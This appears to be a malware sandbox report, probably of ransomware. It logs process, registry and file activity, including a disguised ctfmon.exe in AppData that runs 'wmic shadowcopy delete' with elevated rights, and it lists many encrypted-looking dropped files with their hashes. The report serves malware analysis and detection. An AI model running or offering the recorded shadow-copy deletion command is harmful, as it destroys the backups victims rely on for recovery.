Fn
Open STD_OUTPUT_HANDLE - True 5
Fn
Open STD_INPUT_HANDLE - True 3
Fn
Open STD_ERROR_HANDLE - True 3
Fn
Write STD_ERROR_HANDLE size = 98 True 1
Fn
Data
Registry (17)
»
Operation Key Additional Information Success Count Logfile
Open Key HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System - False 1
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Command Processor - True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DisableUNCCheck, data = 0, type = REG_NONE False 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DelayedExpansion, data = 1, type = REG_NONE False 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = CompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = PathCompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = AutoRun, data = 64, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DisableUNCCheck, data = 64, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DelayedExpansion, data = 1, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = CompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = PathCompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = AutoRun, data = 9, type = REG_NONE False 1
Fn
Module (8)
»
Operation Module Additional Information Success Count Logfile
Get Handle c:\windows\syswow64\cmd.exe base_address = 0x4a600000 True 1
Fn
Get Handle c:\windows\syswow64\kernel32.dll base_address = 0x76c20000 True 2
Fn
Get Filename - process_name = c:\windows\syswow64\cmd.exe, file_name_orig = C:\Windows\SysWOW64\cmd.exe, size = 260 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetThreadUILanguage, address_out = 0x76c4a84f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CopyFileExW, address_out = 0x76c53b92 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = IsDebuggerPresent, address_out = 0x76c34a5d True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetConsoleInputExeNameW, address_out = 0x76c4a79d True 1
Fn
System (3)
»
Operation Additional Information Success Count Logfile
Get Time type = System Time, time = 2019-07-08 09:39:50 (UTC) True 1
Fn
Get Time type = Ticks, time = 115908 True 1
Fn
Get Time type = Performance Ctr, time = 17343386531 True 1
Fn
Environment (13)
»
Operation Additional Information Success Count Logfile
Get Environment String - True 4
Fn
Data
Get Environment String name = PATH, result_out = C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\ True 2
Fn
Get Environment String name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC True 2
Fn
Get Environment String name = PROMPT False 1
Fn
Get Environment String name = COMSPEC, result_out = C:\Windows\system32\cmd.exe True 1
Fn
Get Environment String name = KEYS False 1
Fn
Set Environment String name = PROMPT, value = $P$G True 1
Fn
Set Environment String name = =C:, value = C:\Windows\System32 True 1
Fn
Process #14: cmd.exe
53 0
»
Information Value
ID #14
File Name c:\windows\syswow64\cmd.exe
Command Line "C:\Windows\system32\cmd.exe" /C wmic shadowcopy delete
Initial Working Directory C:\Windows\system32\
Monitor Start Time: 00:00:53, Reason: Child Process
Unmonitor End Time: 00:00:58, Reason: Self Terminated
Monitor Duration 00:00:05
OS Process Information
»
Information Value
PID 0xb8c
Parent PID 0x9e8 (c:\users\5p5nrgjn0js halpmcxz\appdata\roaming\microsoft\windows\ctfmon.exe)
Bitness 32-bit
Is Created or Modified Executable False
Integrity Level High (Elevated)
Username XDUWTFONO\5p5NrGJn0jS HALPmcxz
Enabled Privileges SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs
0x B90
Host Behavior
File (7)
»
Operation Filename Additional Information Success Count Logfile
Get Info C:\Windows\system32 type = file_attributes True 1
Fn
Get Info C:\Windows\System32 type = file_attributes True 1
Fn
Open STD_OUTPUT_HANDLE - True 3
Fn
Open STD_INPUT_HANDLE - True 2
Fn
Registry (17)
»
Operation Key Additional Information Success Count Logfile
Open Key HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System - False 1
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Command Processor - True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DisableUNCCheck, data = 0, type = REG_NONE False 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DelayedExpansion, data = 1, type = REG_NONE False 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = CompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = PathCompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = AutoRun, data = 64, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DisableUNCCheck, data = 64, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DelayedExpansion, data = 1, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = CompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = PathCompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = AutoRun, data = 9, type = REG_NONE False 1
Fn
Process (1)
»
Operation Process Additional Information Success Count Logfile
Create C:\Windows\System32\Wbem\WMIC.exe os_pid = 0xba4, creation_flags = CREATE_EXTENDED_STARTUPINFO_PRESENT, show_window = SW_SHOWNORMAL True 1
Fn
Module (8)
»
Operation Module Additional Information Success Count Logfile
Get Handle c:\windows\syswow64\cmd.exe base_address = 0x4ace0000 True 1
Fn
Get Handle c:\windows\syswow64\kernel32.dll base_address = 0x76c20000 True 2
Fn
Get Filename - process_name = c:\windows\syswow64\cmd.exe, file_name_orig = C:\Windows\SysWOW64\cmd.exe, size = 260 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetThreadUILanguage, address_out = 0x76c4a84f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CopyFileExW, address_out = 0x76c53b92 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = IsDebuggerPresent, address_out = 0x76c34a5d True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetConsoleInputExeNameW, address_out = 0x76c4a79d True 1
Fn
System (3)
»
Operation Additional Information Success Count Logfile
Get Time type = System Time, time = 2019-07-08 09:39:51 (UTC) True 1
Fn
Get Time type = Ticks, time = 116049 True 1
Fn
Get Time type = Performance Ctr, time = 17357757316 True 1
Fn
Environment (15)
»
Operation Additional Information Success Count Logfile
Get Environment String - True 5
Fn
Data
Get Environment String name = PATH, result_out = C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\ True 2
Fn
Get Environment String name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC True 2
Fn
Get Environment String name = PROMPT False 1
Fn
Get Environment String name = COMSPEC, result_out = C:\Windows\system32\cmd.exe True 1
Fn
Get Environment String name = KEYS False 1
Fn
Set Environment String name = PROMPT, value = $P$G True 1
Fn
Set Environment String name = =C:, value = C:\Windows\System32 True 1
Fn
Set Environment String name = COPYCMD True 1
Fn
Process #15: wmic.exe
61 0
»
Information Value
ID #15
File Name c:\windows\syswow64\wbem\wmic.exe
Command Line wmic shadowcopy delete
Initial Working Directory C:\Windows\system32\
Monitor Start Time: 00:00:53, Reason: Child Process
Unmonitor End Time: 00:00:58, Reason: Self Terminated
Monitor Duration 00:00:04
OS Process Information
»
Information Value
PID 0xba4
Parent PID 0xb8c (c:\windows\syswow64\cmd.exe)
Bitness 32-bit
Is Created or Modified Executable False
Integrity Level High (Elevated)
Username XDUWTFONO\5p5NrGJn0jS HALPmcxz
Enabled Privileges SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs
0x BA8
0x BAC
0x BB0
0x BB4
0x BB8
0x BBC
Host Behavior
COM (3)
»
Operation Class Interface Additional Information Success Count Logfile
Create WBEMLocator IWbemLocator cls_context = CLSCTX_INPROC_SERVER True 1
Fn
Create F6D90F12-9C73-11D3-B32E-00C04F990BB4 2933BF95-7B36-11D2-B20E-00C04F983E60 cls_context = CLSCTX_INPROC_SERVER True 1
Fn
Execute WBEMLocator IWbemLocator method_name = ConnectServer, network_resource = root\cli False 1
Fn
Registry (5)
»
Operation Key Additional Information Success Count Logfile
Open Key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Wbem\CIMOM - True 1
Fn
Read Value HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Wbem\CIMOM value_name = Logging, data = 48 True 1
Fn
Read Value HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Wbem\CIMOM value_name = Logging Directory True 1
Fn
Read Value HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Wbem\CIMOM value_name = Logging Directory, data = 37 True 1
Fn
Read Value HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Wbem\CIMOM value_name = Log File Max Size, data = 54 True 1
Fn
Module (3)
»
Operation Module Additional Information Success Count Logfile
Load C:\Windows\system32\kernel32.dll base_address = 0x76c20000 True 1
Fn
Get Handle c:\windows\syswow64\wbem\wmic.exe base_address = 0x150000 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetThreadUILanguage, address_out = 0x76c4a84f True 1
Fn
System (7)
»
Operation Additional Information Success Count Logfile
Get Computer Name result_out = XDUWTFONO True 1
Fn
Get Time type = System Time, time = 2019-07-08 09:39:51 (UTC) True 1
Fn
Get Time type = Ticks, time = 116189 True 1
Fn
Get Time type = Performance Ctr, time = 17386986992 True 1
Fn
Get Time type = Local Time, time = 2019-07-08 19:39:51 (Local Time) True 1
Fn
Get Info type = System Directory, result_out = C:\Windows\system32 True 2
Fn
Process #19: ctfmon.exe
42436 0
»
Information Value
ID #19
File Name c:\users\5p5nrgjn0js halpmcxz\appdata\roaming\microsoft\windows\ctfmon.exe
Command Line "C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\ctfmon.exe" *
Initial Working Directory C:\Windows\system32\
Monitor Start Time: 00:01:19, Reason: Autostart
Unmonitor End Time: 00:04:03, Reason: Terminated by Timeout
Monitor Duration 00:02:43
OS Process Information
»
Information Value
PID 0x538
Parent PID 0x454 (c:\windows\explorer.exe)
Bitness 32-bit
Is Created or Modified Executable True
Integrity Level Medium
Username XDUWTFONO\5p5NrGJn0jS HALPmcxz
Enabled Privileges SeChangeNotifyPrivilege
Thread IDs
0x 53C
0x 6E8
0x 6EC
0x 7E4
0x 5A4
0x 5A0
0x 610
0x 6BC
0x 7A4
Dropped Files
»
Filename File Size Hash Values YARA Match Actions
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\4gI2XKy3q7M.pdf 16.86 KB MD5: c8afc762e5fcd1e1e0a082017e3f7343
SHA1: 48ac4971c3dadfc2c57344c69a216a234bae0a92
SHA256: 940241ac601a1c574e1d20a1d8e22e783b19e3cf20c46fb2d5770a75b58a4bdf
SSDeep: 384:8WiCWDy+c3t2Ogx032MnDTmN+kkCzeds0JvTX1oI:8pxe+cEOgx0meDTWtt10XF 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\4Oh_BhRBEP.png 25.85 KB MD5: 4baa2ca4be48c95600a9e9f8d7a11ea5
SHA1: db495e58e5fd7947a243cdea2b4d6ad675f60dc7
SHA256: 867ca41ff09f30928f98312a18b999f7c15eb09735245f023d995f9bc52c425a
SSDeep: 384:1RbywQBWT6jNM7xrv3S9N/CR2SbLhj3neNy2gPVZv0QdG3um+e5/52ppQBTX1oI:Pp6B6xr69N/aLhyN/GPsQY3uhu/gMHF 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\4SiIb_crUM0-wdGU.mp3 76.25 KB MD5: 6178d8991d185fda19a6fce304b3c211
SHA1: 88db075a59677ed241f1b72b201bc12a8d0b68a1
SHA256: 8cca5e5fa2fdd4c42988e8069b517a49fa692e59b8bdf5c8db15593b6a00d257
SSDeep: 1536:8d7/lGjaHOxVf+Nl1i5b18YZpr9lbHqix12UG1Lc5OC6Lqnphqr8xeemx:8d7/lGVB+X1aWOprTHB2YOezVeemx 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\c3Rxt6TZ75AU_7ScuQe.bmp 85.62 KB MD5: 339f2d50b398f01a8e2c48b14c798fa7
SHA1: aa5390100e2f81faf8f7056252308ec1b8ec101c
SHA256: b9b76ea097a973fe85bb31baeff289c0fbd0169172bca712507312e858c51d5c
SSDeep: 1536:ogZLya4XOouYlZeLvrIKnWKm1HO+mXZ3dQG+mx63Pf0:1ZsYYLeLvrpWnZO+UZdQG1a0 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\CHEDPFTiQP67Llt2.mkv 71.59 KB MD5: 3ca861c882fba9fad0e6dddf1696717b
SHA1: 03e65888166ddcf77c2fa94cbea9f7c67fe2c97d
SHA256: d5b4a3b0c9021fa0a5d9b6b29970878acc9d59259c15cf98fd35372806c59d0e
SSDeep: 1536:m/i/MJdlQuLRyT7sewMg5565tNt/Pj+3Nszlgc0Fgi+eRwxy:H/uRALdtja36WuUb 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\icCocQEeC.csv 22.52 KB MD5: 150dd88ab90ac67ff77500969e88bdfc
SHA1: 262ff9fd62533780354aa5b81959a559dbd56359
SHA256: 136e39e27e54edc207bcaa95c91fd6f1adcd536231062988410a60cd52bb5bb8
SSDeep: 384:tSW+oUXkeCDA/B55VAIsgs57cUuEnbBqfh7y5xjHIMgDxRBQvNtwZ33i4srTX1oI:Y3o/y5S/gsVxuEnUfhu5CvxwFC3aF 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\IZq0VqclNsC-3.ppt 37.38 KB MD5: bb271e486a5aae7e2ea8c5537852f0a6
SHA1: caccb52e870cbbd12591e87c04572d3865ecd3fc
SHA256: 4dd8110c708077711d2bb6cd0f2bcb42a0945acf8071cf62209ff77c07045d86
SSDeep: 768:7YJnuEEP9hLgzrKfb4TIx/4kOLbyhLToxJLAu81+5QiX2P3tYnzVF:anDEDgyVdSahnozG16QiXq3qX 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\Jcp9TJtkRvhrTh.png 17.13 KB MD5: a620836561ac9b69eef8db00ccf589bd
SHA1: e8162d4d2eb19e56415b35ff469833a1331493a4
SHA256: 865a07a7084b5bd2c47b5477735cc7607951efe0b194f8b02b36ddd98e9eca57
SSDeep: 384:tWgsK2Wc71ayHKUuJP4kTsqHwNykhv1iTX1oI:trsKk1axU2tdW0F 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\K9oCAOY.odt 24.41 KB MD5: 118017c94d96f5d201fbe40bec4b0c6f
SHA1: cec34d31db26352df88c4320ad49e1c9d5ee1d12
SHA256: 1ef49d1d08ad7d35c3f6d7d12ed72323dd928f4ff79425872e1cdfc47fb51089
SSDeep: 768:hGqKN66InPdj8QzayBQslh3ctb7ZmkKMVSmBF:QzN6bn1jVWyB9rmfHKDmf 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\ocsI3awyiL.flv 18.55 KB MD5: 89f485eef62c2f1400754b70acb7ab8e
SHA1: 2c9ca835acb332f43d729babc49601ccfd1bfac3
SHA256: 3b535be6da9cc1662666973816493c04c000dc7788acab242b14cf732dc489a7
SSDeep: 384:zMi6z4daXqj0Xhe1tWN91WgCqjK5bzbtLievGr+GwD2WcVAwgCniTX1oI:UEdaXqj0xe1tWLggCq2bzZBvCUDTE5qF 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\rkHGdxl1tL.ppt 73.67 KB MD5: 0161d24ee79a162b13133904d7f1c3e4
SHA1: b4dbd06f76de4dabbfebcd61458851bea9ebcbbb
SHA256: bd7f8fe77b49bc0edcc4cc206aad58aa4b77d9d3d49f24061460b1ea4a88c85f
SSDeep: 1536:cMZhdt4z1w8UibYl1ZXhnGFSvyH7Vhwu3yYusmNXqz:cscrk7GFH7bwu3HuXXs 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\VNxddPAeY.mp4 25.14 KB MD5: b79c7e51f462d7e042fe472ccdb86ea8
SHA1: cbe9289e388d27cff2491c8fc0335b9c2ba6159c
SHA256: dfbcce3e1501d56662f0f1124ed47ea6f918871ae9a8772dd1be1caddf2ff065
SSDeep: 768:zhf1XRknBZ/A4r9EWQoLzS+RgmqotUs8MWSF:VMZ/zJEWb9Rgm4KX 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\wyZyk.xlsx 12.52 KB MD5: 940339f5366e631b79f0f1957ed81c6f
SHA1: 8389a2b37cd8c493954d7b59b1e630d0cd0df929
SHA256: 7815cfdac147c517922e389173587b767c5cd32241dd1bc23c6cd6cef5796d72
SSDeep: 384:DsQKxeFilKJTxYPGqf8jJ64ZmSkwza/RPB92DyTX1oI:DsbxwhSOd7ZEdZ/IaF 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\ZGKGhFU.jpg 51.63 KB MD5: 9e32e6098047a4255fc733b05a54e748
SHA1: 6925767df7b48c7dbc8ef34bde531da2d0090f34
SHA256: 55b56e88c52bd46f81bd497f470386f2d22cff11aae0e5b5cfdc88729bd24279
SSDeep: 768:B3h76FzjNEKShPjickOBIJZB1FlPOjlTSmj/0RT3cYSOU4Q0neHQdQNC1R6cF:N8Fl/kbxkHj1PPUkgsp3cYSODeYQVI 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\2PEwRlhZGH3TyGctXZD\2-DznvM2CBIeSJpacfhT.gif 36.44 KB MD5: f45f4395e7cb6385fc477fad602ab5fd
SHA1: 3569a35a710f6e126e34f55ca5acd8ddd6705a02
SHA256: 7903c0d3875d6746f0fdfeb06578f19253a8b8697bbb60809a8c03da567b5ebd
SSDeep: 768:Zh0Z75HXpqA9R8/uiVSl4JmI/fWFlARaozkkNyy5GJIROUNLwFF:YX7yWiVSl4YI/uvAA+kkNhtwj 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\2PEwRlhZGH3TyGctXZD\GiJ7o9ydiQxJQU i.gif 82.84 KB MD5: 8b6c957003197c4b6fb268a69df60bb4
SHA1: f020c2070de850e6a271f91629466112559335ec
SHA256: 9123ccf1d31b8f435936d9de988cc4e1c2d22a18e8ecd2fe5ac3284122e83156
SSDeep: 1536:UPEp9pztIUjkGRmqwASPzKP4qJLhQedjdH9mLCXRuEPMC+YazSi5wTTVob:Z99txUqpWKP4sVdjfmOXRbPMzlSim3Vk 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\2PEwRlhZGH3TyGctXZD\MPtDDaiXphqphSQ0Mg.wav 36.60 KB MD5: 0179c99f7e006081298fd7f96042e0e1
SHA1: a8097a3c1e82f6be684b1e0582c150a06d68d5ed
SHA256: 9b14f7e7b9c56f444f42703f59e91338645423d048c88bf247f1736b0056505e
SSDeep: 768:C36OJk2PaRh6gP2eeE9FcUeb4kEkxY0RKt2koZvcqHuXvAFmCaF:o6OS18geep6UWEEY0RKtgvccIYmCe 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\2PEwRlhZGH3TyGctXZD\oI0yJGXKm.mkv 48.50 KB MD5: 71a96693e7243473e3d0458617a1e207
SHA1: 8de1651d931890003010d22a7a4292db6b4c838b
SHA256: eea6f8b8a098bd853b52e27319925942f30c2fb0317c9f3fb5034d8629a4e3d4
SSDeep: 768:yAKA9iY80fZ59mdomiiGlpEjxJdXQhJ2Gw1TDOJU5a9uaF:yAeY80meLlu9vXQhJjwJOU7e 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\2PEwRlhZGH3TyGctXZD\sH0n34eiZ5Sn1uR3\22cgypbJdJpqkH9.mkv 12.74 KB MD5: 53a5db5e767ae0f347729a701d48eb40
SHA1: 4ea69669e2b15ac35138e70627cecbe935384051
SHA256: 6f9c296ac0878bae14eb42d3f522d902a64b8c7a12109fb916f64af93324a675
SSDeep: 384:3zvN7g8JzQoe8TBln7JxJ6lBCtxh/ftp4cTX1oI:7m8tLe8TBfxJ6LCtxVFp44F 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\2PEwRlhZGH3TyGctXZD\sH0n34eiZ5Sn1uR3\b3an_n.doc 39.46 KB MD5: 401d9a01633c730639ae20bba172542a
SHA1: e43d1c5bd0b6486151121a04b02b64045894db69
SHA256: ccf900fb4c88c72fa31756b334399556701ef4328bf727fccb9209e94ca35c79
SSDeep: 768:eOpt5FRmq9d2Ho10IL4LAKIiBU4bdLgOI6x45y8w5wOz0Ac9omIicdrR3ebth3lC:nptr2H60rLA6/jBOV39HINROhhlvUzd 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\2PEwRlhZGH3TyGctXZD\sH0n34eiZ5Sn1uR3\STmNzCf2kHMrprU.csv 45.24 KB MD5: 0a6e882134e806de0af2ef6948be3d97
SHA1: 679fab22026f0198e066ca9ebc741e739032875e
SHA256: 6af090dc9540b35c4709a98384e8279b18370b94ce3822ce84259a9b73d003cf
SSDeep: 768:L1uWlMmUUqtoEmUE95H5fRUp1KXcjvQFbDaIWnWsVvmv4LgBJiMDzzckmSgx8hkA:L1uWlMmUUqWEmUE995fRZsjgD769/LCp 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\2PEwRlhZGH3TyGctXZD\sH0n34eiZ5Sn1uR3\X_eHKXB 3BvRf.odt 72.65 KB MD5: 8fcb418f719d806f176db391d2629e1b
SHA1: e830748e8334dd2785c4260270806090a03096a1
SHA256: 9586c857febe1e0783ed0a999b68fd63431f319abfcfc546f99a14dedabb3a15
SSDeep: 1536:EZyjzI+F/JFhcRyvjHgPqKz7V5Zkzqs7gV4YT1UcBx5wtnOPicl2Ax5UpHtgiK4:kyjzV/JXc8Doqm7V5HyguYjx5wtnO7x+ 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\2PEwRlhZGH3TyGctXZD\sH0n34eiZ5Sn1uR3\C0Ot6PxWef1Er I\znzmSLsPIjDhvdxLSb.wav 96.27 KB MD5: 185c1f23ab24228c79810e6b095568f7
SHA1: e0d86d8cbc206e402794ece423f2a6235df3a628
SHA256: 4102cfb7f39c8a8f0c874f5693e32947f447fffa38d11d900337b8930ce6c1e4
SSDeep: 1536:AKZS2YMKFZbxN7sXrtA/MIH3byBxzTvMfVd+AJeeFURkJMTkfGjl+KV:Alb/u5A/MIXATvMfP+Oh+OJ8/V 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\2PEwRlhZGH3TyGctXZD\Y2RaxQdY5J2l RKG\9KS5qgX5Zwp_wPE.flv 58.06 KB MD5: 2836843780af75540a99b7ef3fc416e3
SHA1: 088f145bbaea291401e919604e67e967da6ea001
SHA256: 6fd0aedb5eaf70609458fe352beea1008963113a6d71c657d5e494bfb26c66df
SSDeep: 1536:NNm6hvcsJwlMdX9Pa878GDQuGFkBOKZYDn+i4CMOay2D:rm6dHwl+9R78GDQuGFk7QehOay2D 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\2PEwRlhZGH3TyGctXZD\Y2RaxQdY5J2l RKG\LL30Wm.xls 86.23 KB MD5: afb8afbc654bfb873c6d771bb7757a40
SHA1: 0ae43086350c714bb2cbe0aca8331c7a67eb6faa
SHA256: 3891ce87d9e8fda4e50f59b613044bb98458da1594e6e26549fe40baefad2709
SSDeep: 1536:eC7tZnBlaYcz2E3Aj3TdI2IN1ERzYGzrtAVK8y2Y17EEi+d:7nBxczZxs09VtKgod 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\2PEwRlhZGH3TyGctXZD\Y2RaxQdY5J2l RKG\McIX.mp3 76.45 KB MD5: 275c208b769d0f8bf2db5ed681693aec
SHA1: 09a5e20d7de755c253f9ef8afd62e45695a1d544
SHA256: abd3ac7a3a180b9efe94e35233d31441aa094301236d2a2d3330ab5cc15bbffb
SSDeep: 1536:/TCkMoBorTFK2QtzWTYrtImm7U783TKItR9AwwBmv/bBRR59//:/xMoBof4ztlr5A3944v/bJ59X 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\2PEwRlhZGH3TyGctXZD\Y2RaxQdY5J2l RKG\wRknaOJH.flv 57.50 KB MD5: a56bcaf1b15eeb62c3d6e2f3cf747e2f
SHA1: 8ed2ed975b20f28b14c97ce6cce9e46ab62f5573
SHA256: 7fe646d711d76ceda430edbf5fe171166b02c002c68b6520c69458c1b8b2cc8f
SSDeep: 1536:gSs0xN5nyjuwfIfSMgQwgstWfxVBTWK7jO+bltDLZGfSPAK:gSssTna5tPgM4xjTrjO+bltDWSPr 		False
...
C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Cartridges\Informix.xsl.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 31.69 KB MD5: c2d5f55dae58f787cd0205632aed47c0
SHA1: 71225b76ed41dec6987d059e399cec1560aaeb8a
SHA256: 28c9febfd89aa586041d1625b0e9ab88e5a9390bf3c798e241831ae4aed5dc30
SSDeep: 768:p027V/ZsjRmgwGb9TjP/jL0Fr+wTofyUsEEPgkYaUkurb5OtwfgF:e0/ZsjggwGb9TvN6UsLgQurbGwfc 		False
...
C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Cartridges\sql70.xsl.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 32.86 KB MD5: ec4f6b23b5fb0b3136858c531e355fa6
SHA1: 60dd787b0f7192d1801e858bf983dd162b757ec9
SHA256: 85b54e95f86345bfa57b0ce0113a44d8cdde9c9c4a505d067aea372c32808963
SSDeep: 768:2TSarVYZJNBKKTKuvpnps+HCeoa/e+JA2mixtF:arqTNBKKTTps+Hl/9JA2mixL 		False
...
C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Cartridges\sql90.xsl.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 40.05 KB MD5: 175427f54d69e87d4fe16c964bdfa692
SHA1: 665d83ecebf05c114dbc3e4fde55edf39ef00297
SHA256: 8e397f7a3feb3c44cd02a77e061ca875ce1d18d773e400567008a4b43ac80de0
SSDeep: 768:kTSmsbBjz5KWsH3FEXLITn+fdt3JCag23AtRhLsTIcvsTockQhWEuQF:M2lvsHjn+fhC+iHstsPkQEEV 		False
...
C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Cartridges\Sybase.xsl.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 30.56 KB MD5: c3893a8ef104157302a1a77fb1b61a24
SHA1: 1c525ecf3188ced4babb4f3d20db8f39baa6acfa
SHA256: cb6bc8fdec19b53de70d4d90cfc74bfe61e224e53f20aa683b5d12c9c2e81bfa
SSDeep: 768:YTfTCnHHBW6Cyesd7pQUH7Hlr/1Pi+O6fY1+JGF:YfTEnk6CyTfQUbRdHO7+Ja 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00004_.GIF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 10.28 KB MD5: bf58e2b51c387807c4477fe0654b186a
